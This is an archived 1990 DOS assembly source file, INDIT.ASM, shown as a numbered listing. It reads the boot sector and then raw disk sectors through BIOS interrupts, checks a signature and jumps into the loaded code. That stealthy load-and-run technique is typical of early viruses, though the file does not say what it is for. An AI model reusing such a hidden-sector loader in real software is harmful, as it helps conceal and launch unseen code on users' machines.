home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / INDIT.ASM < prev    next >
Assembly Source File  |  1990-04-03  |  1KB  |  92 lines
  1. start    segment
  2.     assume cs:start,ds:start
  3. boot    equ    1000h
  4.     push    ax
  5.     push    bx
  6.     push    cx
  7.     push    dx
  8.     push    es
  9.     push    ds
  10.     push    di
  11.     push    si
  12.     call    cim
  13. cim:    pop    bx
  14.     mov    si,5aa5h
  15.     mov    di,55aah
  16.     push    cs
  17.     pop    es
  18. ujra:    add    bx,1000
  19.     cmp    bx,1000
  20.     jnc    kilep1
  21.     jmp    kilep
  22. kilep1:    push    bx
  23.     mov    ax,201h
  24.     mov    dx,0
  25.     mov    cx,1
  26.     int    13h
  27.     pop    bx
  28.     jnc    tovabb
  29.     cmp    ah,6
  30.     jz    kilep1
  31.     jmp    kilep
  32. tovabb:    cmp    si,0a55ah
  33.     jz    kilep
  34.     mov    ax,cs
  35.     add    ax,1000h
  36.     push    bx
  37.     push    ax
  38.     int    12h
  39.     mov    bx,64
  40.     mul    bx
  41.     sub    ax,1000h
  42.     mov    bx,ax
  43.     pop    ax
  44.     cmp    bx,ax
  45.     jnc    oke1
  46.     pop    bx
  47.     jmp    kilep
  48. oke1:    pop    bx
  49. oke:    mov    es,ax
  50.     mov    ax,cs:[bx+18h]
  51.     mov    cx,cs:[bx+1ah]
  52.     mul    cx
  53.     mov    cx,ax
  54.     mov    ax,cs:[bx+13h]
  55.     mov    dx,0
  56.     div    cx
  57.     sub    bx,1000
  58.     push    bx
  59.     mov    ch,al
  60.     mov    cl,1
  61.     mov    bx,100h
  62.     mov    dx,0
  63.     mov    ax,208h
  64.     int    13h
  65.     pop    bx
  66.     jc    kilep
  67.     push    bx
  68.     mov    bx,100h
  69.     mov    ax,es:[bx]
  70.     cmp    ax,2452h
  71.     pop    bx
  72.     jnz    kilep
  73.     mov    ax,bx
  74.     add    ax,offset kilep-offset cim
  75.     push    cs
  76.     push    ax
  77.     mov    ax,10ah
  78.     push    es
  79.     push    ax
  80.     retf
  81. kilep:    pop    si
  82.     pop    di
  83.     pop    ds
  84.     pop    es
  85.     pop    dx
  86.     pop    cx
  87.     pop    bx
  88.     pop    ax
  89.     ret
  90. cime:    dw    0
  91. start    ends
  92.     end